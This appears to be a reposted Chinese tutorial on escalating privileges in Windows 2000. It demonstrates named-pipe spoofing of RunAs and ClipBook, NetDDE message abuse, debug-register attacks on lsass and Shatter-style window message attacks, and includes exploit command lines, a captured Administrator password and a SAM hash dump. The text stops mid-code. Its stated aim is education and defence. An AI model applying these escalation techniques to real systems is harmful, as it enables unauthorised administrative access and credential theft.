网络攻击心得-让一切变得可能

网络攻击心得-让一切变得可能
2011年07月07日
　　讲到Exploit都会涉及到提升权限的问题，所谓提升权限就是利用系统的漏洞来获得更高的Privilege。比如说，你用一般用户的账号登录Windows
　　　　NT/Windows
　　　　2000后，你就只能作有限的操作，却不能加减用户，不能往系统目录中存写文件等等；但等到你通过系统的漏洞获得了Administrator或者Local
　　　　System的权限以后，你也就可以作这些事了。
　　　　我研究Exploit的时间并不是很长，但看到有关在Windows操作系统中提升权限的方法与实例还真不少。刚才到Google上用关键词“microsoft”、“Windows”、“privilege”、“elevation”去搜索一下，居然返回3000多个结果。要知道，这还只是公布出来的部分，江湖中还有很多必杀绝技是不轻易示人的。
　　　　要想在这里详细地介绍所有Windows中提升权限的方法，我的功力是远远不够的----估计相当于丐帮一袋弟子的水平而已。所以呢，这一章所针对的读者应该是丐帮的入门弟子，如果你们哪位功力要用两个以上的麻袋来装的话，请尽管跳过这一章。
　　　　我在选择这一章的Exploit例子时，有意选择针对W2K操作系统、附带有源程序的例子，这样方便大家在自己的机器上试验。这些Exploit并不是每个都成功，但是我感觉它们有不少可借鉴之处，可以通过学习它们来了解黑客的思路，从而提高自己的反入侵能力。
　　　　记住我的机器dallas是W2K Service Pack 1，如果你们的计算机运行不同版本的W2K
　　　　Service Pack，这些Exploit可能需要改动。
　　　　顺便说一句，实际上在第一章里面我们已经提到一种在Unix或者Linux中提升权限的方法，就是去Exploit超级用户Root所有的、具有SUID位的执行程序。在Windows操作系统中，没有SUID这种说法，但是有一种RunAs服务(Service)进程可以提供类似于SUID的功能，而且是有可能被Exploit的。　　
　　　　利用Windows 2000中的Named Pipe来提升权限　　
　　　　Windows
　　　　2000中的RunAs服务进程可以让用户甲以用户乙的权限运行程序，这类似于Unix和Linux系统中SUID位功能。W2K中的一个API：CreateProcessWithLogonW就利用了RunAs服务进程，用户甲调用这个CreateProcessWithLogonW时把用户乙的账号(Account)、域(Domain)、密码(Password)提交给Windows操作系统作Authentication，如果Authentication成功，那么就接着运行指定的程序，而且这个程序运行时具有用户乙的权限。
　　　　CreateProcessWithLogonW API的定义如下：
　　　　BOOL CreateProcessWithLogonW(
　　　　LPCWSTR , // 用户乙的账号(Account)
　　　　LPCWSTR , //用户乙的域(Domain)
　　　　LPCWSTR , // 用户乙的密码(Password)
　　　　DWORD , // logon option
　　　　LPCWSTR , // executable module name
　　　　LPWSTR , // command-line string
　　　　DWORD , // creation flags
　　　　LPVOID , // new environment block
　　　　LPCWSTR , // current directory name
　　　　LPSTARTUPINFOW , // startup information
　　　　LPPROCESS_INFORMATION // process information
　　　　);
　　　　那么CreateProcessWithLogonW是如何把用户乙的账号信息传给RunAs服务进程的呢？在Windows操作系统中有很多Interprocess
　　　　Communication的方法，大概最常见的就是
　　　　Pipe了。我们在上一章对IIS的Exploit中也用到了Pipe，不过那是没有名字的pipe
　　　　(Anonymous
　　　　Pipe)；在这里CreateProcessWithLogonW是用有名字的Pipe(named
　　　　Pipe)与RunAs联络的，这个named Pipe就是“\\.\pipe\secondarylogon”。
　　到目前为止，一切都正常。大家要问：RunAs的漏洞在哪里呢？它的漏洞是如何被Exploit的呢？根据RADIX
　　　　Team的解释：当用户甲用CreateProcessWithLogonW创建具有用户乙权限的进程时，它是不会核实“\\.\pipe\secondarylogon”的Server端究竟是连通到RunAs进程还是连通到其它的进程。如果RunAs服务进程在某一时刻停止运行的话，黑客进程可以趁机创建一个也叫“\\.\pipe\secondarylogon”的named
　　　　Pipe，然后黑客进程就假装成RunAs服务进程在Pipe的Server端等着接受信息。接着我们无辜而无知的用户甲调用CreateProcessWithLogonW了，它也不先调查一下Named
　　　　Pipe另一端的进程身份，就把用户乙的账号信息由伪造的named
　　　　Pipe传了过去，传呀传，传呀传，一直传到黑客程序的耳朵里。
　　　　RADIX Team还编写了一个Exploit程序radix1112200101，这个程序把通过Named
　　　　Pipe
　　　　“\\.\pipe\secondarylogon”传来的用户乙账号信息(包括用户名、域名、密码)统统显示出来。限于篇幅，我就不转载这个程序了，大家可以到他们的网站去看。不过这里我准备演示一下在dallas上如何使用radix1112200101来获得dallas本地域(Local
　　　　Domain)的超级用户Administrstor的密码。被Exploit的程序(就是因为使用CreateProcessWithLogonW而泄密的家伙)叫radixvictim.cpp，它以超级用户Administrator的权限启动一个NotePad程序。
　　　　
　　　　
　　　　// radixvictim.cpp : Defines the entry point for the
　　　　application.
　　　　//
　　　　#define _WIN32_WINNT 0x0500
　　　　#define UNICODE
　　　　#include
　　　　#include
　　　　#include
　　　　#include
　　　　int APIENTRY WinMain(HINSTANCE hInstance,
　　　　HINSTANCE hPrevInstance,
　　　　LPSTR lpCmdLine,
　　　　int nCmdShow = SW_SHOW)
　　　　{
　　　　// TODO: Place code here.
　　　　LPCWSTR lpUsername = L"Administrator"; // user's name
　　　　LPCWSTR lpDomain = L"dallas"; // user's domain
　　　　LPCWSTR lpPassword = L"moda"; // user's password
　　　　DWORD dwLogonFlags = LOGON_NETCREDENTIALS_ONLY; // logon
　　　　option
　　　　LPCWSTR lpApplicationName = L"D:\\Winnt\\NotePad.exe";
　　　　LPWSTR lpCommandLine = L"NotePad.exe"; // command-line
　　　　string
　　　　DWORD dwCreationFlags = CREATE_NEW_CONSOLE; // creation
　　　　flags
　　　　LPVOID lpEnvironment = NULL; // new environment block
　　　　LPCWSTR lpCurrentDirectory = NULL; // current directory
　　　　name
　　　　STARTUPINFO StartupInfo; // startup information
　　　　PROCESS_INFORMATION ProcessInfo; // process information
　　　　BOOL ret;
　　　　ZeroMemory(&StartupInfo, sizeof(StartupInfo));
　　　　StartupInfo.cb = sizeof(StartupInfo);
　　　　ZeroMemory(&ProcessInfo, sizeof(ProcessInfo));
　　　　ret = CreateProcessWithLogonW(
　　　　lpUsername,
　　　　lpDomain,
　　　　lpPassword,
　　　　dwLogonFlags,
　　　　lpApplicationName,
　　　　lpCommandLine,
　　　　dwCreationFlags,
　　　　lpEnvironment,
　　　　lpCurrentDirectory,
　　　　&StartupInfo,
　　　　&ProcessInfo
　　　　);
　　　　
　　　　if (! ret )
　　　　ExitProcess (GetLastError()) ;
　　　　return 0;
　　　　}
　　　　
　　　　
　　　　在伪造Named
　　　　Pipe之前，必须关闭RunAs的“\\.\pipe\secondarylogon”，要不然运行radix1112200101会得到Permission
　　　　Denied之类的错误。
　　　　我先以超级用户Administrator登录dallas，然后从Administrative
　　　　Tools->Services中终止RunAs服务进程
　　　　(一般的情况下，只有超级用户Administrator才能终止RunAs服务进程)。这样RunAs拥有的“\\.\pipe\secondarylogon”就关闭(Close)了。
　　　　再以我的一般用户账号moda登录dallas，接着运行radix1112200101伪造一个新的Named
　　　　Pipe “\\.\pipe\secondarylogon”。
　　　　
　　　　D:\MyJob\securitylab\radix\Debug>radix1112200101
　　　　Created pipe and waiting for clients...
　　　　
　　　　怎么确定“\\.\pipe\secondarylogon”被成功地创建了呢？我们可以使用pipelist程序，这是我从sysinternals网站下载的宝贝之一，它能列出系统中所有的Named
　　　　Pipe：
　　　　D:\MyJob\tool\pipelist\RELEASE>pipelist
　　　　PipeList v1.01
　　　　by Mark Russinovich
　　　　http://www.sysinternals.com
　　　　Pipe Name Instances Max Instances
　　　　--------- --------- -------------
　　　　InitShutdown 2 -1
　　　　lsass 5 -1
　　　　ntsvcs 50 -1
　　　　scerpc 2 -1
　　　　net\NtControlPipe1 1 1
　　　　DhcpClient 1 -1
　　　　net\NtControlPipe2 1 1
　　　　Winsock2\CatalogChangeListener-194-0 1 1
　　　　net\NtControlPipe3 1 1
　　　　spoolss 2 -1
　　　　。。。。。。。
　　　　。。。。。。。
　　　　net\NtControlPipe21 1 1
　　　　tapsrv 2 -1
　　　　ROUTER 2 -1
　　　　WMIEP_2ac 2 -1
　　　　WMIEP_154 2 -1
　　　　SecondaryLogon 1 10
　　　　D:\MyJob\tool\pipelist\RELEASE>
　　　　你们看到，最后一个Named Pipe就是radix1112200101刚刚伪造Secondarylogon。
　　　　现在运行radixvictim。对於这个程序，用户甲就是无辜而无知的“moda”，而用户乙就是超级用户Administrator。请注意Exploit程序radix1112200101的输出：
　　　　D:\MyJob\securitylab\radix\Debug>radix1112200101
　　　　Created pipe and waiting for clients...
　　　　Read 4 bytes. (ASCII Dump)
　　　　>
　　　　? Read 318 bytes. (ASCII Dump)
　　　　□
　　　　? ? 8
　　　　X j □ □
　　　　? ? ? - + -
　　　　? A d m i n
　　　　i s t r a t o r
　　　　? d a l l a
　　　　s ? m o d a
　　　　* D
　　　　: \ W i n n t \
　　　　N o t e P a d .
　　　　e x e ? N o
　　　　t e P a d . e x
　　　　e l
　　　　D H l
　　　　
　　　　W i n S
　　　　t a 0 \ D e f a
　　　　u l t _
　　　　D:\MyJob\securitylab\radix\Debug>
　　你们可以看到，超级用户Administrator的信息(包括密码)全部都被radix1112200101接收到了。得到Administrator的账号信息后，再提升权限就易如反掌了！
　　　　这个Exploit的关键在于：第一，Named Pipe的名字是广为人知的，黑客的Named
　　　　Pipe也可以贴上同样的名字“\\.\pipe\secondarylogon”去冒充；第二，CreateProcessWithLogonW在使用Named
　　　　Pipe之前并没有核实Named
　　　　Pipe的Server端进程，它不管Server端是连通到RunAs进程还是到其它的进程。类似的这样问题是在Windows操作系统中是广泛存在的，再看下面的例子：
　　　　我是在网站http：//www.dogmile.com上看到的这个例子的，作者为maceo。根据maceo的研究，Windows
　　　　2000操作系统广泛使用了Named
　　　　Pipe来控制(或者说管理)服务进程，包括象Clipbook服务进程呀、Telnetd服务进程呀等等，而且这些Named
　　　　Pipe的名字是可以猜得到的。如果黑客抢先用猜到的名字创建Named
　　　　Pipe的话，服务进程启动时会直接连接到黑客的Named
　　　　Pipe上，於是黑客程序就可以通过ImpersonateNamedPipeClient()取得服务进程的权限(缺省设置为Local
　　　　System权限)。那么，黑客是怎样猜到这些Named
　　　　Pipe的名字的呢？很简单，他是从Registry中查询到的，在下面的地址：
　　　　HKEY_LOCAL_MACHINE\
　　　　SYSTEM\
　　　　CurrentControlSet\
　　　　Control\
　　　　ServiceCurrent
　　　　如果ServiceCurrent的双字值(DWORD Value)是X，那么服务进程所用到的Named
　　　　Pipe的名字就是“\\.\pipe\net\NtControlPipe(X+1)”，这也就是黑客要伪造的Named
　　　　Pipe的名字。
　　　　maceo给出了几个Exploit程序，我下面就在Dallas上演示其中的一个----PipeUp。这个Exploit程序首先从Registry中取得下一个服务进程要使用的Named
　　　　Pipe名字，然后抢先创建这个Named
　　　　Pipe；紧接着它启动服务进程ClipBook，由于ClipBook启动后会主动连接这个伪造的Named
　　　　Pipe，於是PipeUp就通过函数ImpersonateNamedPipeClient而获取了Local
　　　　System的账号权限(因为ClipBook一般以Local
　　　　System的账号运行)。这样进程PipeUp就有足够的权限把Local System在Security
　　　　Account Manager(SAM)中的信息读出来。
　　　　你们可以从网站http：//www.dogmile.com下载这个Exploit的源程序，这里限于篇幅我就不转载这个程序了(画外音：其实是限于版权)。
　　　　先以Administrator的账号登录dallas，把ClipBook服务进程停止。
　　　　再以一般用户moda登录，运行Exploit程序PipeUp，下面是PipeUp运行及Exploit的结果：
　　　　D:\MyJob\securitylab\PipeUp\Debug>pipeup
　　　　The ClipBook service is not started.
　　　　More help is available by typing NET HELPMSG 3521.
　　　　Impersonating: SYSTEM
　　　　Dumping SAM for RID 500 ...
　　　　F:0x020001000000000010f3e3f89b33c2010000000000000000f0a09fa11061c101ffffffffffff
　　　　ff7fb0c25115f430c201f401000001020000100200000000000000002a010100000000000d000a00
　　　　0000
　　　　V:0x00000000a800000002000100a80000001a00000000000000c40000000000000000000000c400
　　　　00006c00000000000000300100000000000000000000300100000000000000000000300100000000
　　　　00000000000030010000000000000000000030010000000000000000000030010000000000000000
　　　　00003001000000000000000000003001000000000000000000003001000008000000010000003801
　　　　000014000000000000004c0100001400000000000000600100000400000000000000640100000400
　　　　000000000000010014808800000098000000140000003000000002001c000100000002c014004400
　　　　05010101000000000001000000000200580003000000000014005b03020001010000000000010000
　　　　000000001800ff070f00010200000000000520000000200200000000240044000200010500000000
　　　　000515000000dde8e41c32621f2a8aa7323ff4010000010200000000000520000000200200000102
　　　　0000000000052000000020020000410064006d0069006e006900730074007200610074006f007200
　　　　00004200750069006c0074002d0069006e0020006100630063006f0075006e007400200066006f00
　　　　72002000610064006d0069006e006900730074006500720069006e00670020007400680065002000
　　　　63006f006d00700075007400650072002f0064006f006d00610069006e0001020000070000000100
　　　　01001913f29278bf71eaff44492fb2f9ed05010001002a730d35666e44ffa4f37b29011d882f0100
　　　　010001000100
　　　　D:\MyJob\securitylab\PipeUp\Debug>
　　　　
　　　　大家看了上面两个例子有什么想法呢？肯定有人会觉得这些Exploit有“做弊”的嫌疑：一方面，在radix1112200101(或PipeUp)运行之前，RunAs(或ClipBook)服务进程都必须先终止运行，这样黑客进程才有可能伪造Named
　　　　Pipe，才有机会窃取Administrator(或Local
　　　　System)的账号信息；而另一方面，黑客必须先取得至少Administrator的权限才能终止RunAs(或ClipBook)进程。这两个方面看起来是互为前提条件的，是个无解的“Deadlock”。实际上，我在SecurityFocus网站上看到Microsoft针对Exploit程序radix1112200101的回复，它指出这个Exploit是两难的，现实中不太可能发生。
　　　　要实现这个Exploit确实有些难度，但是这并不等于不会发生！假如某个服务进程有Bugs，象缓冲区溢出呀、Signal不当reentrant呀等等，那么在运行中这个服务进程就有可能被黑客故意整垮掉(Crash)，然后黑客就可以伪造它的Named
　　　　Pipe，再利用上面的Exploit程序提升其权限。
　　　　而且有时候我们并不需要先终止服务进程，我在Microsoft的Security
　　　　Bulletins网站上找到一个例子----编号为MS01-031的一篇文章 “Predictable Name
　　　　Pipes Could Enable Privilege Elevation Via
　　　　Telnet”。中文大意是说：当你通过Telnet远程联线到Windows
　　　　2000系统中的Telnetd服务进程时，Telnetd会创建一个新的Named
　　　　Pipe，同时运行这个Named Pipe携带的初始化程序。由于这个Named
　　　　Pipe的名字是可以猜到的(Predictable)，所以黑客可以抢先用猜到的名字创建这个Named
　　　　Pipe，同时让这个Named Pipe携带黑客码作为初始化程序；当Telnetd服务进程发现这个Named
　　　　Pipe已经存在时，它既不重新创建一个新的Named Pipe，也不核实一下这个Named
　　　　Pipe的创建者是否可以信赖(Trustable)，相反，它直接使用这个Named
　　　　Pipe，并且把其携带的黑客码当成初始化程序运行。由于在缺省设置的情况下，Telnetd服务进程具有Local
　　　　System的权限，所以黑客码也将以这个最高的权限横冲直撞。
　　　　Microsoft的文章并没有告诉我们这个可以猜得到的Named
　　　　Pipe名字是什么----这是可以理解的，毕竟谁也不会开门掬盗。不过我在dallas上作了个试验：分别联结两个Telnet
　　　　Session到Dallas上，然后用Pipelist程序观察在Telnet后Named Pipe的变化情况：
　　　　D:\MyJob\tool\pipelist\Debug>pipelist
　　　　PipeList v1.01
　　　　by Mark Russinovich
　　　　http://www.sysinternals.com
　　　　Pipe Name Instances Max Instances
　　　　--------- --------- -------------
　　　　InitShutdown 2 -1
　　　　lsass 5 -1
　　　　ntsvcs 52 -1
　　　　scerpc 2 -1
　　　　net\NtControlPipe1 1 1
　　　　。。。。。。。。。。
　　　　tapsrv 2 -1
　　　　ROUTER 2 -1
　　　　WMIEP_644 2 -1
　　　　WMIEP_2c8 2 -1
　　　　net\NtControlPipe28 1 1
　　　　telnetd\000001fc.00000000 1 1
　　　　telnetd\000001fc.00000001 1 1
　　　　telnetd\000001fc.00000002 1 1
　　　　telnetd\000001fc.00000003 1 1
　　　　上面用黑体字标出来的Named
　　　　Pipe：net\NtControlPipe28属于Telnetd服务进程，而telnetd\000001fc.00000000与telnetd\000001fc.00000001属于第一个Telnet
　　　　Session，telnetd\000001fc.00000002与telnetd\000001fc.00000003属于第二个Telnet
　　　　Session。如果这时有第三个用户Telnet进来的话，Telnetd要用到的Named
　　　　Pipe名字将会是telnetd\000001fc.00000004与telnetd\000001fc.00000005，我敢赌100块钱！！！
　　　　你们看到，这个例子并不需要终止任何服务进程，理论上说你只需要具有一般用户账号就可以提升你的权限到Local
　　　　System级别：先以一般用户账号伪造Named
　　　　Pipe并让它附带黑客码作为初始化程序，然后以同一账号远程联线到象dallas这样的机器上，Telnetd服务进程会主动运行你附带在Named
　　　　Pipe上的黑客码，而且你的黑客码是以Local System权限运行。
　　　　
　　　　利用Windows 2000中的Dynamic Data Exchange来提升权限：
　　　　
　　　　我是在www.atstake.com网站的Security
　　　　Advisory栏目(2001年2月版)看到这篇文章：“NetDDE Message
　　　　Vulnerability”，作者是DilDog。搞这一行有些日子的人大概都看过他的另一篇非常有名、非常经典的文章：“The
　　　　Tao of Windows Buffer
　　　　Overflow”；这篇文章被其他人引用的次数很多，如果拿这篇文章的引用率来评职称，肯定是非常的Solid----就是很硬的意思！
　　　　在那一篇文章中，他详细地介绍了在Windows
　　　　NT系统中如何发现NetMeeting的缓冲区溢出，如何一步一步编写黑客码去Exploit这个缺口(Vulnerability)。实际上，在前面两章的Exploit试验中我所用到的罗马大道“Jmp
　　　　esp”，以及函数指令表都直接或间接地借鉴了他的思路。有兴趣的朋友可以到下面的网页去拜读一下这篇大作：
　　　　http://www.cultdeadcow.com/cDc_files/cDc-351/index.html
　　　　好，回到正题：如何利用Dynamic Data
　　　　Exchange来提升权限？我们曾经提到过，在Windows操作系统有多种Interprocess
　　　　Communication的方法，Named Pipe是常见的一种，而Dynamic Data
　　　　Exchange(DDE)则是另一种常见的方法，它是通过共享内存来实现不同进程间的动态数据交换。这些动态交换的数据叫DDE
　　　　Share，它们由DDE Server创建并由Network DDE DSDM (DDE share
　　　　database
　　　　manager)服务进程管理。你可以在Dos窗口下运行命令DDESHARE来显示你计算机上的DDE
　　　　Share，常见的DDE Share有Chat$、CLPBK$、Hearts$。
　　　　当管理DDE Share的Network DDE
　　　　DSDM服务进程运行时，Winlogon会在当前登录用户的Desktop产生一个隐藏式的Window，这个隐藏式的Window名字为"NetDDE
　　　　Agent"，是一个"NDDEAgnt"类的window class，它的功能在于协助DDE
　　　　Server程序及DDE
　　　　Client程序之间的数据交换。由于它由Winlogon创建，这个Window的进程就以Local
　　　　System的权限运行在登录用户的Desktop上，只不过用户看不到它而已。
　　　　"NetDDE Agent"还有另外一个辅助功能：当DDE Client试图连接到一个Trueted的DDE
　　　　Share时，如果"NetDDE Agent"发现创建这个DDE Share的DDE
　　　　Server尚未运行，它会主动启动这个Server。记住"NetDDE Agent"进程是具有Local
　　　　System权限的，所以它启动Server没有一点问题。
　　　　根据DilDog的研究，这个隐藏式的"NetDDE
　　　　Agent"就是一个缺口(Vulerability)！还记得Window操作系统中的函数SendMessage()吗？登录用户可以利用这个函数向Desktop上的任何Window发送Message，即使这个Window不属于当前登录用户。所以黑客在以一般用户的身份登录后，可以用SendMessage()发送一个WM_COPYDATA
　　　　message给"NetDDE
　　　　Agent"，这个Message里面同时携带着一个精心炮制的数据块作为调用参数。这个数据块包含以下内容：
　　　　1。 一个Trusted DDE Share的名字，比如说Chat$；
　　　　2。 一个用于启动DDE Server的命令，如果"NetDDE Agent"发现创建Chat$的DDE
　　　　Server尚未运行，就根据这个命令来启动DDE Server。但是黑客可以任选一个命 令来伪造，比如说“Net
　　　　Localgroup Administrators /Add 阿猫”----这里的阿 猫已经是合法的一般用户了；
　　　　3。 一些固定不变的字节。DilDog认为是这些字节应该是随机产生的，而不应该固定
　　　　不变。我个人理解这些字节是用于向"NetDDE Agent"或Network DDE DSDM证明
　　　　WM_COPYDATA message是由合法程序(而不是黑客程序)发出的，所以它们应该随机
　　　　变化而不让黑客轻易得到。
　　　　当"NDDEAgnt"接收到WM_COPYDATA
　　　　message时，它核对后会发现第三部分的字节正确无误，而且Trusted DDE
　　　　Share确实存在，於是它就执行黑客命令，由于"NDDEAgnt"具有Local
　　　　System权限，它可以顺利地让阿猫同志光荣地加入本地Administrator Group。
　　　　DilDog在文章中还附带了一个Exploit程序netddemsg，我接下来就在dallas上演示一下我自己是如何追随阿猫加入本地Administrators
　　　　Group的：
　　　　/*
　　　　先以我的用户账号“moda”登录dallas。
　　　　看看本地administrators Group有哪些成员：
　　　　*/
　　　　D:\MyJob\securitylab\netddemsg\Debug>net localgroup
　　　　administrators
　　　　Alias name administrators
　　　　Comment Administrators have complete and unrestricted
　　　　access to the
　　　　Members
　　　　-----------------------------------------------------------------------------
　　　　a_mao
　　　　Administrator
　　　　The command completed successfully.
　　　　/*
　　　　本地administrators
　　　　Group目前只有两个成员，Administrator和a_mao。试着把“moda”加入到本地administrators
　　　　Group中：
　　　　*/
　　　　D:\MyJob\securitylab\netddemsg\Debug>net localgroup
　　　　administrators /add moda
　　　　System error 5 has occurred.
　　　　Access is denied.
　　　　/*
　　　　我的权限显然不够，所以得到error 5。
　　　　运行DilDog的Exploit程序，同时附带上我的黑客命令：
　　　　*/
　　　　D:\MyJob\securitylab\netddemsg\Debug>netddemsg -s Chat$
　　　　net localgroup administrators /add moda
　　　　/*
　　　　程序运行结束，让我们看看“moda”是否加入本地administrators Group：
　　　　*/
　　　　D:\MyJob\securitylab\netddemsg\Debug>
　　　　D:\MyJob\securitylab\netddemsg\Debug>net localgroup
　　　　administrators
　　　　Alias name administrators
　　　　Comment Administrators have complete and unrestricted
　　　　access to the
　　　　Members
　　　　-----------------------------------------------------------------------------
　　　　a_mao
　　　　Administrator
　　　　moda
　　　　The command completed successfully.
　　　　
　　　　D:\MyJob\securitylab\netddemsg\Debug>
　　　　/*
　　　　我也光荣地加入了本地administrators Group
　　　　*/
　　　　
　　　　利用Windows 2000/Intel中的Debug Register来提升权限：
　　　　
　　　　我是在Georgi Guninski的个人网站http://www.guninski.com)上看到这篇文章：
　　　　“Elevation of Privileges with debug registers on
　　　　Win2k”，介绍如何利用Intel X86中的Debug Register来获取Local
　　　　Administrator的权限。我的运气不太好，用文章中的Exploit程序Pipe3试了几次也不能成功，不过觉得利用Debug
　　　　Register来攻击是个新的思路，所以就在这里顺便介绍一下。
　　　　Intel X86的Debug
　　　　Register(DR0-DR7寄存器)是所有进程共用的。也就是说，你在一般用户进程中下一个绊子(就是设置一个断点)，没准会把某个系统进程或者服务进程(Service)绊一跤；这一跤要是把系统/服务进程摔垮了，导致它停止执行的话，你没准就可以伪造该进程的Named
　　　　Pipe；然后当有其它进程企图通过Named
　　　　Pipe与垮掉的系统/服务进程联络时，黑客就可以利用函数ImpersonateNamedPipeClient来窃取其它进程的权限----这很可能就是Local
　　　　System的权限。
　　　　文章中的Exploit程序Pipe3(请从网http://www.guninski.com下载)就是按照这个思路设计的：它要整垮的进程是lsass，所以必须先找几个lsass进程将要运行的指令的地址，以便在这些地址设置断点(也就是搞清楚lsass要走哪一条路，我们才好在那条路上设绊脚石)；然后Pipe3以一般用户的权限运行程序Calc(计算器)，并在其中设置断点，因为这断点的地址是在lsass运行的途径上，所以它们并不会影响Calc进程；过不了多久lsass就会有报告“SingleStep
　　　　Exception”并让你选择是中断lsass运行还是Debug
　　　　lsass进程；选择中断lsass以便关闭lsass拥有的Named Pipe----\
　　　　'5c.\pipe\lsass"，这样Pipe3就可以伪造一个同名的Named
　　　　Pipe；。。。。。。这以后的几步我想就不用重复了，大家都应该清楚。下面说说我Exploit的情况：
　　先用WinDbg找到lsass可能要运行的指令地址，lsass有多个Thread，我从不同Thread的ESP寄存器中找了几个地址。然后以我的一般用户名“moda”登录dallas。最后让Pipe3在这些地址分别设断点，总有那么一个地址会成功地中断lsass程，并且产生一个Warning对话框(Dialog
　　　　Box)报告“SingleStep Exception”。当我选择中断进程后，
　　　　lsass退出执行，Pipe3报告“LSA died!”：
　　　　D:\MyJob\securitylab\pipe3\Debug>pipe3
　　　　Fun with debug registers. Written by Georgi Guninski
　　　　vvdr started: lsasspid=240 breakp=5ffebc
　　　　LSA died!
　　　　Stop writing to pipe
　　　　start \\.\pipe\lsass
　　　　Failed to create named pipe:
　　　　\\.\pipe\lsass
　　　　由于lsass是重要的系统进程，它的终止运行将使系统在一分钟内自动Shutdown。另外我们注意到，
　　　　\\.\pipe\lsass并没有成功地创建。为什么呢？我抢在系统Shutdown之前运行了一下Pipelist：
　　　　D:\MyJob\securitylab\pipe3\Debug>pipelist
　　　　PipeList v1.01
　　　　by Mark Russinovich
　　　　http://www.sysinternals.com
　　　　Pipe Name Instances Max Instances
　　　　--------- --------- -------------
　　　　InitShutdown 2 -1
　　　　lsass 2 -1
　　　　ntsvcs 49 -1
　　　　scerpc 2 -1
　　　　net\NtControlPipe1 1 1
　　　　DhcpClient 1 -1
　　　　net\NtControlPipe2 1 1
　　　　。。。。。。。。。。。。。。。。
　　　　很奇怪，虽然lsass进程终止运行，但是它的Named
　　　　Pipe还在----这大概是Pipe3没能创建“\\.\pipe\lsass”的原因。由于时间的关系，我没能深入研究这个问题，不过哪位朋友要是用Pipe3成功地实现Exploit的话，不要忘记告诉我一声！
　　　　不过话又说回来，这种利用Debug
　　　　Register来终止lsass进程的方法----即使成功的话，也太暴露了：整个系统居然会Shutdown！任何一个傻瓜管理员都会发现有黑客入侵。这大概是黑客中的业余水平。好一点的黑客要做到“轻轻的我走了，正如我轻轻的来”，要象伟大的诗人兼武林高手徐自摩那样施展一把轻功，让傻瓜管理员根本发现不了，当然耳朵厉害的管理员还是会发现的----“谁？有黑客！抓黑客！”。水平达到最高境界的黑客应该是能够羚羊挂角、踏雪无痕的，这就不是我能评论的了。
　　　　
　　　　利用Win32 API的设计缺陷提升权限：
　　　　
　　　　几个星期以前我在计算机安全网站上看到两篇新发表的文章：、，作者是Chris
　　　　Paget(网名Foon)，我建议大家去下面的网址读一下他的原著：
　　　　http://security.tombom.co.uk/shatter.html
　　　　http://security.tombom.co.uk/moreshatter.html。
　　　　这两篇文章详细地介绍了如何利用Win32
　　　　API的一个设计缺陷来提升普通用户的权限。我们前面也提到，普通用户的进程可以向他/她的Desktop上任何Window发送Message，让目标Window执行用户指定的操作，比如说COPY/PASTE(拷贝/沾贴)、定时运算(Timer)等等。这个Window可能属于用户自己，也可能属于Local
　　　　System(象"NetDDE Agent")----这样问题就来了：
　　　　---- 普通用户如你我他她它(比尔盖茨说狗也可能上网的，所以我们要算上“它”)在
　　　　他的Desktop上先找到一个属于Local System的Window，我们给这个Window起一个
　　　　名字叫WINDOWXYZ，这个WINDOWXYZ上最好有能接收沾贴内容的Control(比如说 EDIT)；
　　　　----
　　　　用户可以把黑客码用“WM_PASTE”(Message之一)沾贴到WINDOWXYZ的Control里；
　　　　---- 用户找到被沾贴的黑客码在WINDOWXYZ进程中的地址；
　　　　---- 用户然后发送“WM_TIMER”(Message之二)给WINDOWXYZ，同时把黑客码地址作为
　　　　参数一并传给WINDOWXYZ，WINDOWXYZ於是执行定时运算，开始运行黑客码。这些 黑客码是以Local
　　　　System的权限运行的，所以普通用户的权限被成功地提升。
　　　　---- 实际上，根据FOON的文章，即使普通用户在其Desktop上找不到属于Local
　　　　System的Window，他也有办法提升权限：他可以利用Tool Help函数得到属于 Local
　　　　System的进程及其Thread，只要其中任何一个Thread能处理Window的
　　　　Message，用户就可以用函数PostThreadMessage()向这个属于Local System的
　　　　Thread发送Message，然后就。。。如此这般。。。地提升权限。不过我没有时间 亲手试验过这种方法。
　　　　这两篇文章引起了很大的反响，其中最引人注意的是Microsoft的答复，Micorsoft说这种方法老早就有人提出来了，Nothing
　　　　New！又说根本就不应该在普通用户的Desktop上创建属于Local
　　　　System的Window，编程序的人应该避免这样的设计。但实际上隐藏式的窗口"NetDDE
　　　　Agent"就出自于Microsoft的设计，它属于Local
　　　　System但是却运行在登录用户的Desktop上，看来Microsoft是知法犯法啊！
　　　　我觉得这个缺陷就象不安全的函数strcpy一样，C语言在实现strcpy函数时有漏洞
　　　　(函数返回地址、函数堆栈栈底地址等系统管理信息与缓冲区分配在一块，缓冲区的溢出就会覆盖系统管理信息)，於是大家寄希望于程序员能够避免使用函数strcpy。现在Microsoft也承认在普通用户的Desktop上创建一个Window是危险的，所以它也寄希望于大家编程时避免使用这样的设计。
　　　　下面我专门编写了一个服务进程“SimpleService”来演示一下Microsoft的这个设计缺陷。SimpleService以Local
　　　　System的权限运行，它打开一个Named Pipe然后等待Named Pipe
　　　　Client与它联络；普通用户接着登录计算机并运行程序“Client”，“Client”是一个Named
　　　　Pipe Client；它向SimpleService的Named
　　　　Pipe随便写一些字节，於是SimpleService就在登录用户的Desktop上产生一个对话窗口(Dialog
　　　　Box)。普通用户最后利用FOON的攻击程序Shatter攻击这个对话窗口来获得“Local
　　　　System”的权限。
　　　　因为SimpleService程序太长，所以我只节选了关键的部分让大家参考：
　　　　
　　　　
　　　　
　　　　#define SZAPPNAME _T("Simple")
　　　　#define SZSERVICENAME _T("SimpleService")
　　　　#define SZSERVICEDISPLAYNAME _T("Simple Service")
　　　　#define SZDEPENDENCIES _T("")
　　　　typedef struct DLGPARAM{
　　　　UINT numOfHit;
　　　　TCHAR *msg;
　　　　} DlgParam;
　　　　// internal function prototypes
　　　　static BOOL CALLBACK DialogProc(HWND hwnd, UINT uMsg,
　　　　WPARAM wParam, LPARAM
　　　　lParam);
　　　　// SimpleService.cpp : Defines the entry point for the
　　　　application.
　　　　//
　　　　HINSTANCE hAppInstance;
　　　　DlgParam m_dlgParam;
　　　　int APIENTRY WinMain(HINSTANCE hInstance,
　　　　HINSTANCE hPrevInstance,
　　　　LPSTR lpCmdLine,
　　　　int nCmdShow)
　　　　{
　　　　......
　　　　}
　　　　void WINAPI service_main()
　　　　{
　　　　......
　　　　}
　　　　VOID WINAPI service_ctrl(DWORD dwCtrlCode)
　　　　{
　　　　......
　　　　}
　　　　BOOL WINAPI ControlHandler ( DWORD dwCtrlType )
　　　　{
　　　　......
　　　　}
　　　　HANDLE hServerStopEvent = NULL;
　　　　VOID ServiceStart ()
　　　　{
　　　　......
　　　　......
　　　　hPipe = CreateNamedPipe(
